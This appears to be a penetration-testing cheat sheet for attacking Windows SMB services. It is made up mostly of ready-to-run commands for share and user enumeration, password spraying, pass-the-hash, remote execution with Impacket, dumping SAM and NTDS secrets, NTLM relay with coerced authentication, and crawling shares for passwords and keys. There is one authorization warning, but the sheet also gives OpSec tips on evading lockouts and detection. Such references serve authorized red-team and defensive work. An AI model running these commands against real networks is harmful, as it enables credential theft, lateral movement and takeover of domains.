Nmap SMB Enumeration
DISCOVERY SMB Port Scanning
Scan all SMB/NetBIOS ports
nmap -p 137,138,139,445 --open TARGET
SMB version detection
nmap -p 445 --script smb-protocols TARGET
OS discovery via SMB
nmap -p 445 --script smb-os-discovery TARGET
NSE SCRIPTS Share & User Enumeration
Enumerate shares via NSE
nmap --script smb-enum-shares -p 445 TARGET
Enumerate shares with credentials
nmap --script smb-enum-shares --script-args smbusername=user,smbpassword=pass -p 445 TARGET
Enumerate users
nmap --script smb-enum-users -p 445 TARGET
Enumerate domain groups
nmap --script smb-enum-groups -p 445 TARGET
Enumerate active sessions
nmap --script smb-enum-sessions -p 445 TARGET
Enumerate running services
nmap --script smb-enum-services --script-args smbusername=user,smbpassword=pass -p 445 TARGET
Enumerate domains
nmap --script smb-enum-domains -p 445 TARGET
SECURITY Security Configuration
Check SMB security mode (signing, authentication)
nmap --script smb-security-mode -p 445 TARGET
Get system information
nmap --script smb-system-info --script-args smbusername=user,smbpassword=pass -p 445 TARGET
COMPREHENSIVE All-in-One SMB Scan
Run all SMB enumeration scripts
nmap --script "smb-enum*" -p 139,445 TARGET
Safe SMB enumeration (no vuln checks)
nmap --script "smb* and not smb-vuln*" -p 139,445 TARGET
💡 NBTStat Alternative
Use nbtscan 192.168.1.0/24 for quick NetBIOS name enumeration, or nmblookup -A TARGET to query NetBIOS names.
Connecting to Shares
Connect anonymously (null session)
smbclient // TARGET / -N
Connect with username (prompts for password)
smbclient // TARGET / -U username
Connect with domain credentials
smbclient // TARGET / -U 'DOMAIN\username' % password
Connect with NTLM hash (Pass-the-Hash)
smbclient // TARGET / -U username --pw-nt-hash NTHASH
💻
Inside SMBClient
List files
ls
Change directory
cd dirname
Print working dir
pwd
Download a file
get filename
Upload a file
put localfile
Delete a file
del filename
Download ALL files recursively
prompt off recurse on mget *
One-liner recursive download
smbget -R smb:// TARGET /
Authentication Testing
Null & Guest Sessions
Test null session
nxc smb TARGET -u '' -p ''
Test guest account
nxc smb TARGET -u 'guest' -p ''
Password Spraying
Spray users with password
nxc smb TARGET -u users.txt -p 'Password123!'
User=pass spray (no lockout!)
nxc smb TARGET -u users.txt -p users.txt --no-bruteforce
Pass-the-Hash authentication
nxc smb TARGET -u Administrator -H aad3b435b51404eeaad3b435b51404ee:NTHASH
⚠️ Account Lockout
Check lockout policy first! Use
nxc smb TARGET --pass-pol
to view password policy.
User Enumeration
RID cycling (find users via null session)
nxc smb TARGET -u '' -p '' --rid-brute
Enumerate users with creds
nxc smb TARGET -u user -p pass --users
Impacket lookupsid (RID cycling)
lookupsid.py guest @ TARGET
rpcclient user enum
rpcclient -U '' TARGET -N -c 'enumdomusers'
rpcclient group enum
rpcclient -U '' TARGET -N -c 'enumdomgroups'
💡 RID 500 = Administrator
RID 500 is always the built-in Administrator. RID 1000+ are domain users. Even if renamed, the RID never changes!
🔌
RPCClient Commands
Connecting to RPC
Connect with null session
rpcclient -U '' -N TARGET
Connect with credentials
rpcclient -U user TARGET
User & Group Queries
List domain users
enumdomusers
List domain groups
enumdomgroups
Query user info
queryuser 0x1f4
Query group info
querygroup 0x200
Query display info
querydispinfo
Get group members
querygroupmem 0x200
SID & Name Lookups
Lookup name to get SID
lookupnames Administrator
Lookup SID to get name
lookupsids S-1-5-21-...
System & Share Information
Server info
srvinfo
List shares
netshareenum
Share info
netsharegetinfo
Password policy
getdompwinfo
RPCClient One-Liners
Enumerate users without interactive shell
rpcclient -U '' TARGET -N -c 'enumdomusers'
Get password policy via RPC
rpcclient -U '' TARGET -N -c 'getdompwinfo'
💡 RPCClient Help
Use the help command inside rpcclient to see all available commands. Try help [command] for detailed syntax.
Impacket Tools
Remote Execution
psexec.py (requires admin + writable share)
psexec.py DOMAIN / user : pass @ TARGET
smbexec.py (no writable share needed)
smbexec.py DOMAIN / user : pass @ TARGET
wmiexec.py (uses WMI, stealthier)
wmiexec.py DOMAIN / user : pass @ TARGET
atexec.py (scheduled task)
atexec.py DOMAIN / user : pass @ TARGET "whoami"
Pass-the-Hash
psexec with hash
psexec.py -hashes : NTHASH user @ TARGET
wmiexec with hash
wmiexec.py -hashes : NTHASH user @ TARGET
Secret Dumping
secretsdump.py (SAM, NTDS, LSA)
secretsdump.py DOMAIN / user : pass @ TARGET
secretsdump with NTLM hash
secretsdump.py -hashes : NTHASH DOMAIN/user @ TARGET
Dump only NTDS (DC)
secretsdump.py -just-dc DOMAIN/user : pass @ DC_IP
Additional Tools
samrdump.py (SAM Remote Protocol enumeration)
samrdump.py DOMAIN / user : pass @ TARGET
smbclient.py (Impacket interactive SMB client)
smbclient.py DOMAIN / user : pass @ TARGET
Kerberos authentication (ticket-based)
smbclient.py DOMAIN / user @ TARGET -k -no-pass
⚠️ Impacket Installation
Install Impacket with: pipx install impacket or clone from GitHub for the latest version.
Vulnerability Scanning
CRITICAL Remote Code Execution Vulnerabilities
Check ALL SMB vulns (comprehensive scan)
nmap --script "smb-vuln*" -p 139,445 TARGET
MS17-010 EternalBlue (WannaCry exploit)
nmap --script smb-vuln-ms17-010 -p 445 TARGET
MS08-067 NetAPI vulnerability (Conficker worm)
nmap --script smb-vuln-ms08-067 -p 445 TARGET
MS06-025 RASrv.sys vulnerability
nmap --script smb-vuln-ms06-025 -p 445 TARGET
MS07-029 DNS RPC vulnerability
nmap --script smb-vuln-ms07-029 -p 445 TARGET
HIGH DoS & Privilege Escalation
MS10-054 SMB Pool Overflow (DoS/RCE)
nmap --script smb-vuln-ms10-054 -p 445 TARGET
MS10-061 Print Spooler Service vulnerability
nmap --script smb-vuln-ms10-061 -p 445 TARGET
MALWARE Backdoor Detection
Conficker worm detection
nmap --script smb-vuln-conficker -p 445 TARGET
Double Pulsar backdoor check (NSA tool)
nmap --script smb-double-pulsar-backdoor -p 445 TARGET
RELAY SMB Signing & Relay Detection
Generate list of relayable hosts (NetExec)
nxc smb 192.168.1.0/24 --gen-relay-list relayable.txt
Check SMB signing via Nmap
nmap --script smb-security-mode,smb2-security-mode -p 445 TARGET
⚠️ Vulnerability Scanning Warning
Some NSE vuln scripts can crash services or trigger IDS/IPS. Always get authorization and test in a lab environment first. Use --script-args=unsafe=1 only when explicitly permitted.
Relay Attacks
When SMB signing is disabled, you can relay NTLM authentication to other hosts!
1. Find hosts without SMB signing
nxc smb 192.168.1.0/24 --gen-relay-list targets.txt
2. Start ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support
Relay with SAM dump
ntlmrelayx.py -tf targets.txt -smb2support --dump-sam
Relay to LDAP (add computer/user)
ntlmrelayx.py -t ldap:// DC_IP --add-computer
3. Trigger auth (Responder, PetitPotam, etc.)
responder -I eth0 -dwP
💡 Coercion Methods
Use PetitPotam, PrinterBug, or DFSCoerce to force authentication from DCs and high-value targets!
Advanced File Discovery
SMBGET Recursive File Download
Download entire share recursively
smbget -R smb:// TARGET /
With credentials
smbget -R smb:// TARGET / -U user % pass
Resume interrupted downloads
smbget -R -r smb:// TARGET /
MANSPIDER Sensitive Data Discovery
ManSpider crawls SMB shares looking for sensitive files (passwords, creds, configs, keys)
Search for sensitive files across shares
manspider.py --threads 256 192.168.1.0/24 -u user -p pass
Search for specific extensions
manspider.py TARGET -u user -p pass -e txt,pdf,docx,xlsx
Search file contents for keywords
manspider.py TARGET -u user -p pass -c password,secret,credential
NXC NetExec Spider Module
Spider all accessible shares (exports to JSON)
nxc smb TARGET -u user -p pass -M spider_plus
Spider and filter by extension
nxc smb TARGET -u user -p pass -M spider_plus -o EXCLUDE_EXTS= "jpg,png,gif"
💡 Install ManSpider
Get ManSpider from pip install manspider or clone from GitHub. Spider results are saved to ~/.nxc/logs/
📀
Mounting Shares (Linux)
Create mount point first
sudo mkdir -p /mnt/smb
Mount SMB share anonymously
sudo mount -t cifs // TARGET / /mnt/smb -o guest
Mount with credentials
sudo mount -t cifs // TARGET / /mnt/smb -o username= user ,password= pass
Mount with domain credentials
sudo mount -t cifs // TARGET / /mnt/smb -o username= user ,password= pass ,domain= DOMAIN
Unmount
sudo umount /mnt/smb
💡 Best Practices & Pro Tips
🎯 Enumeration Strategy
- • Always start with null session/guest access tests
- • Use enum4linux-ng for comprehensive automated enum
- • Check password policy BEFORE password spraying
- • RID cycling works great on older Windows (2000-2008)
- • Spider shares with NetExec spider_plus module
🔒 OpSec Considerations
- • Avoid excessive login attempts (triggers lockout)
- • Some NSE scripts can crash services (use carefully)
- • Relay attacks generate authentication logs
- • Pass-the-hash leaves forensic artifacts
- • Use --no-bruteforce flag to avoid lockouts
🚀 Common Targets
- • SYSVOL share → GPP passwords (cpassword)
- • NETLOGON → Login scripts with hardcoded creds
- • User home directories → SSH keys, config files
- • IT/Backup shares → Password vaults, scripts
- • IPC$ → RPC enumeration, null sessions
⚙️ Tool Selection
- • smbmap → Quick share permissions check
- • enum4linux-ng → Full automated enumeration
- • NetExec → Swiss army knife for AD pentest
- • Impacket → Remote execution & credential dumping
- • ManSpider → Sensitive file discovery at scale
🔍 Debugging Tip:
If tools fail, check SMB version compatibility. SMBv1 is disabled by default on newer Windows. Use
--option='client min protocol=SMB2'
for smbclient or
-2
flag for smbmap.